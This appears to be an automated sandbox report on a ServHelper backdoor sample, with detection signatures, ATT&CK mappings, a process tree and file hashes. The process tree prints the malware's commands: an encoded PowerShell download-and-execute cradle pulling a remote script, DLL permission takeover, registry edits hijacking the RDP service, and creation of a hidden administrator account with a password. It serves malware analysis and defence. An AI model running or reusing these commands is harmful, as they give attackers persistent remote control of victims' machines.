servhelper | cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

Analysis

max time kernel
129s
max time network
104s
platform
windows7_x64
resource
win7-en-20210920
submitted
26-10-2021 14:49

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General

Target

63151e4f7c3972f18a23c0e9996e14ef.exe
Size

5.7MB
MD5

63151e4f7c3972f18a23c0e9996e14ef
SHA1

5d041fde6433a8ff8fc78a69fca1fd4630e3f270
SHA256

cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3
SHA512

f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
5	1580	powershell.exe
6	1580	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exe

pid	Process
1492	icacls.exe
1644	icacls.exe
1128	icacls.exe
1984	icacls.exe
1476	takeown.exe
1276	icacls.exe
612	icacls.exe
1676	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x000800000001221e-131.dat	upx
behavioral1/files/0x000700000001222b-132.dat	upx

Loads dropped DLL 2 IoCs

Processes:

pid	Process
836
836

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	Process
1476	takeown.exe
1276	icacls.exe
612	icacls.exe
1676	icacls.exe
1492	icacls.exe
1644	icacls.exe
1128	icacls.exe
1984	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QF4VV77QNG3263QQU35Q.temp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80f3e85078cad701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
2036	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
1872	powershell.exe
1012	powershell.exe
1164	powershell.exe
944	powershell.exe
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
1580	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

Processes:

pid	Process
464
836
836
836
836

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	1012	powershell.exe
Token: SeDebugPrivilege	1164	powershell.exe
Token: SeDebugPrivilege	944	powershell.exe
Token: SeRestorePrivilege	612	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1688	WMIC.exe
Token: SeAuditPrivilege	1688	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1688	WMIC.exe
Token: SeAuditPrivilege	1688	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1680	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1680	WMIC.exe
Token: SeAuditPrivilege	1680	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1680	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1680	WMIC.exe
Token: SeAuditPrivilege	1680	WMIC.exe
Token: SeDebugPrivilege	1580	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

63151e4f7c3972f18a23c0e9996e14ef.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	Process	procid_target
PID 756 wrote to memory of 1872	756	63151e4f7c3972f18a23c0e9996e14ef.exe	29
PID 756 wrote to memory of 1872	756	63151e4f7c3972f18a23c0e9996e14ef.exe	29
PID 756 wrote to memory of 1872	756	63151e4f7c3972f18a23c0e9996e14ef.exe	29
PID 1872 wrote to memory of 1500	1872	powershell.exe	31
PID 1872 wrote to memory of 1500	1872	powershell.exe	31
PID 1872 wrote to memory of 1500	1872	powershell.exe	31
PID 1500 wrote to memory of 1476	1500	csc.exe	32
PID 1500 wrote to memory of 1476	1500	csc.exe	32
PID 1500 wrote to memory of 1476	1500	csc.exe	32
PID 1872 wrote to memory of 1012	1872	powershell.exe	33
PID 1872 wrote to memory of 1012	1872	powershell.exe	33
PID 1872 wrote to memory of 1012	1872	powershell.exe	33
PID 1872 wrote to memory of 1164	1872	powershell.exe	35
PID 1872 wrote to memory of 1164	1872	powershell.exe	35
PID 1872 wrote to memory of 1164	1872	powershell.exe	35
PID 1872 wrote to memory of 944	1872	powershell.exe	37
PID 1872 wrote to memory of 944	1872	powershell.exe	37
PID 1872 wrote to memory of 944	1872	powershell.exe	37
PID 1872 wrote to memory of 1476	1872	powershell.exe	39
PID 1872 wrote to memory of 1476	1872	powershell.exe	39
PID 1872 wrote to memory of 1476	1872	powershell.exe	39
PID 1872 wrote to memory of 1276	1872	powershell.exe	40
PID 1872 wrote to memory of 1276	1872	powershell.exe	40
PID 1872 wrote to memory of 1276	1872	powershell.exe	40
PID 1872 wrote to memory of 612	1872	powershell.exe	41
PID 1872 wrote to memory of 612	1872	powershell.exe	41
PID 1872 wrote to memory of 612	1872	powershell.exe	41
PID 1872 wrote to memory of 1676	1872	powershell.exe	42
PID 1872 wrote to memory of 1676	1872	powershell.exe	42
PID 1872 wrote to memory of 1676	1872	powershell.exe	42
PID 1872 wrote to memory of 1492	1872	powershell.exe	43
PID 1872 wrote to memory of 1492	1872	powershell.exe	43
PID 1872 wrote to memory of 1492	1872	powershell.exe	43
PID 1872 wrote to memory of 1644	1872	powershell.exe	44
PID 1872 wrote to memory of 1644	1872	powershell.exe	44
PID 1872 wrote to memory of 1644	1872	powershell.exe	44
PID 1872 wrote to memory of 1128	1872	powershell.exe	45
PID 1872 wrote to memory of 1128	1872	powershell.exe	45
PID 1872 wrote to memory of 1128	1872	powershell.exe	45
PID 1872 wrote to memory of 1984	1872	powershell.exe	46
PID 1872 wrote to memory of 1984	1872	powershell.exe	46
PID 1872 wrote to memory of 1984	1872	powershell.exe	46
PID 1872 wrote to memory of 924	1872	powershell.exe	47
PID 1872 wrote to memory of 924	1872	powershell.exe	47
PID 1872 wrote to memory of 924	1872	powershell.exe	47
PID 1872 wrote to memory of 2036	1872	powershell.exe	48
PID 1872 wrote to memory of 2036	1872	powershell.exe	48
PID 1872 wrote to memory of 2036	1872	powershell.exe	48
PID 1872 wrote to memory of 904	1872	powershell.exe	49
PID 1872 wrote to memory of 904	1872	powershell.exe	49
PID 1872 wrote to memory of 904	1872	powershell.exe	49
PID 1872 wrote to memory of 1680	1872	powershell.exe	50
PID 1872 wrote to memory of 1680	1872	powershell.exe	50
PID 1872 wrote to memory of 1680	1872	powershell.exe	50
PID 1680 wrote to memory of 1400	1680	net.exe	51
PID 1680 wrote to memory of 1400	1680	net.exe	51
PID 1680 wrote to memory of 1400	1680	net.exe	51
PID 1872 wrote to memory of 2040	1872	powershell.exe	52
PID 1872 wrote to memory of 2040	1872	powershell.exe	52
PID 1872 wrote to memory of 2040	1872	powershell.exe	52
PID 2040 wrote to memory of 560	2040	cmd.exe	53
PID 2040 wrote to memory of 560	2040	cmd.exe	53
PID 2040 wrote to memory of 560	2040	cmd.exe	53
PID 560 wrote to memory of 1700	560	cmd.exe	54

C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe
"C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pjvv9knr.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES77D0.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC77CF.tmp"
      4⤵
      PID:1476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:944
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1476
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1276
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:612
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1676
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1492
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1644
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1128
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1984
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:924
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:2036
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:904
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1680
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1400
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2040
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:560
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1700
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1172
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1740
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1320
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:592
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1776
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1700
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1604

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1364
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:612

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc so74PpAK /add
1⤵
PID:1480
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc so74PpAK /add
  2⤵
  PID:1220
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc so74PpAK /add
    3⤵
    PID:1644

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1848
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:2036
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1380

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
1⤵
PID:1684
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
  2⤵
  PID:692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" JZCKHXIN$ /ADD
    3⤵
    PID:1576

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1580
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1308

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc so74PpAK
1⤵
PID:1476
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc so74PpAK
  2⤵
  PID:548
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc so74PpAK
    3⤵
    PID:1128

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1064
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1688

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:560
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1680

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1060
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES77D0.tmp

MD5
544217793eb6d2c81aef5957c8343e59

SHA1
54f6b9725a79e407b2ece10f68d947de336b0669

SHA256
3daaee53a5b67c0ffa9b8333c228a3a587389f5460e2be7ab7f7489f64cd0a94

SHA512
b6854755e3ddf6139b475a17938a8e31df976385c998f4dc032e36e9616ecee65eaa1674022a4611bc0ccadd9922fc58101f1fea8ec807131736e844c08a3feb

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C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5
f783019c5dc4a5477d1ffd4f9f512979

SHA1
37c8d1e5dd2ebce647c4e0a92f8598ebf2fdcc7b

SHA256
4c81fee866a87b2de6e10640fe094f0db29258014177e294ac94a819940f5348

SHA512
64d90352f4466f0097dd2c7ace8ccb155947dda8ae148c8c6ba1507a9e879247fab2eba452c812ba628a65de93cc096dabfcb23d2be4b525a92e5ef9e4b57d6a

Download Submit
C:\Users\Admin\AppData\Local\Temp\pjvv9knr.dll

MD5
0893116bd2a152ae4eb5913f4a50a1e1

SHA1
a784d3f50d6f7ed220ad8e69a0ff3ee412f49e51

SHA256
96e379aaaa432da348e7d1b7f0f4ba81be3b9a1b3a1959e1687873a1c928ada9

SHA512
eccf98ec6daf7cafc0bada3ede9ebb687161b994926f59dfc346b413bc2972bff23858d08522bddaab82dc7bd426e17f8b945fd64aaa0d797294cdc86120cb92

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C:\Users\Admin\AppData\Local\Temp\pjvv9knr.pdb

MD5
0157a05078e9fda3745a3776ac917e7e

SHA1
0b72024963f8057476a0248a5a21403959c69aa8

SHA256
6e57ae266df2463c8080711bdf66d11b501156d35635494b33bedafc28724b13

SHA512
a35fa43eb62b2662b76eb971f2d4f87137b34add5b826b70641fcc2224e64410300281b9f0ea0d40c4f425bd1080fb31a2852efe538e583ada6bb36f7abf1845

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
28d9755addec05c0b24cca50dfe3a92b

SHA1
7d3156f11c7a7fb60d29809caf93101de2681aa3

SHA256
abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

SHA512
891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
3943528edb2e9ac5f9c0eccf25032d41

SHA1
8c70962019550f82f7322f1705682e2bafa65a03

SHA256
d98c505819c9622b6fb8e79aecc85c086e6710f88bf3a443a9d33ce01b16a312

SHA512
3d0cd70b0e4ea53fda1436fa929d72fa9820ea3c4ed50d8e3b7048f7f5a6369c6e540342b018c92ca0deeffbe06b894e4827ac72dd6def092350e729d0c2a474

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
3943528edb2e9ac5f9c0eccf25032d41

SHA1
8c70962019550f82f7322f1705682e2bafa65a03

SHA256
d98c505819c9622b6fb8e79aecc85c086e6710f88bf3a443a9d33ce01b16a312

SHA512
3d0cd70b0e4ea53fda1436fa929d72fa9820ea3c4ed50d8e3b7048f7f5a6369c6e540342b018c92ca0deeffbe06b894e4827ac72dd6def092350e729d0c2a474

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
3943528edb2e9ac5f9c0eccf25032d41

SHA1
8c70962019550f82f7322f1705682e2bafa65a03

SHA256
d98c505819c9622b6fb8e79aecc85c086e6710f88bf3a443a9d33ce01b16a312

SHA512
3d0cd70b0e4ea53fda1436fa929d72fa9820ea3c4ed50d8e3b7048f7f5a6369c6e540342b018c92ca0deeffbe06b894e4827ac72dd6def092350e729d0c2a474

Download Submit
C:\Windows\system32\rfxvmt.dll

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC77CF.tmp

MD5
0d3c35f9e23cb9bc510192ee84988864

SHA1
29cf7ec6ffc1e60de6c29cf5a1412ad055c1d37d

SHA256
07d8792c9b4068a84863857894940bf55ae8dcfd19867090ad036d9a875befad

SHA512
e49ff05e8b6bdd388c9a4d49f57fda8cfb95e6e5cc243e694b954420eaf4d00e5f61c529f79bbc15d78b695b513ddd3ad0787cfe93474dd252eec9ac84ed1111

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\pjvv9knr.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\pjvv9knr.cmdline

MD5
c4585fdae0b6e3e4eadd50b22107a924

SHA1
5585a6a9839b29fb61ce78acd4c468f9f1909f20

SHA256
9625be1d32c5b27e6ecd9339166e40e620f318f222bbb0d45850fe73c08a0100

SHA512
cd3af5dbf0db55923c34191a8fafe41521bee666ca79a02cf6c086ce0bcc89a8526e1157584a68f4102458e8b8597baa14922876e91de05bd00e9a6040799838

Download Submit
\Windows\Branding\mediasrv.png

MD5
ac13d804585a74dc542db4ec94da39df

SHA1
8642ae2e04e492700caf41b43de9ef9d8b3c26f9

SHA256
84c41dc018689fcb2fc4240f1e0267a5ee82232e3bcd541f5f5bed4139cfcd55

SHA512
0ba869487fda38d398903df4235bd8f2d0f8fb774b559125ba278751a5a503adbb0557f9ea2fde5fecba4f1a33b71583be36fac0f6f8842cbee0bdd7ea2fb5bf

Download Submit
\Windows\Branding\mediasvc.png

MD5
9151c95451abb048a44f98d0afac8264

SHA1
22f447b210eb25c11be5a9c31f254f5f2bd50a78

SHA256
8082bfe8a9f63854d6317cf6ddc0c18c54140ee5d179a96bfe9900c90d994518

SHA512
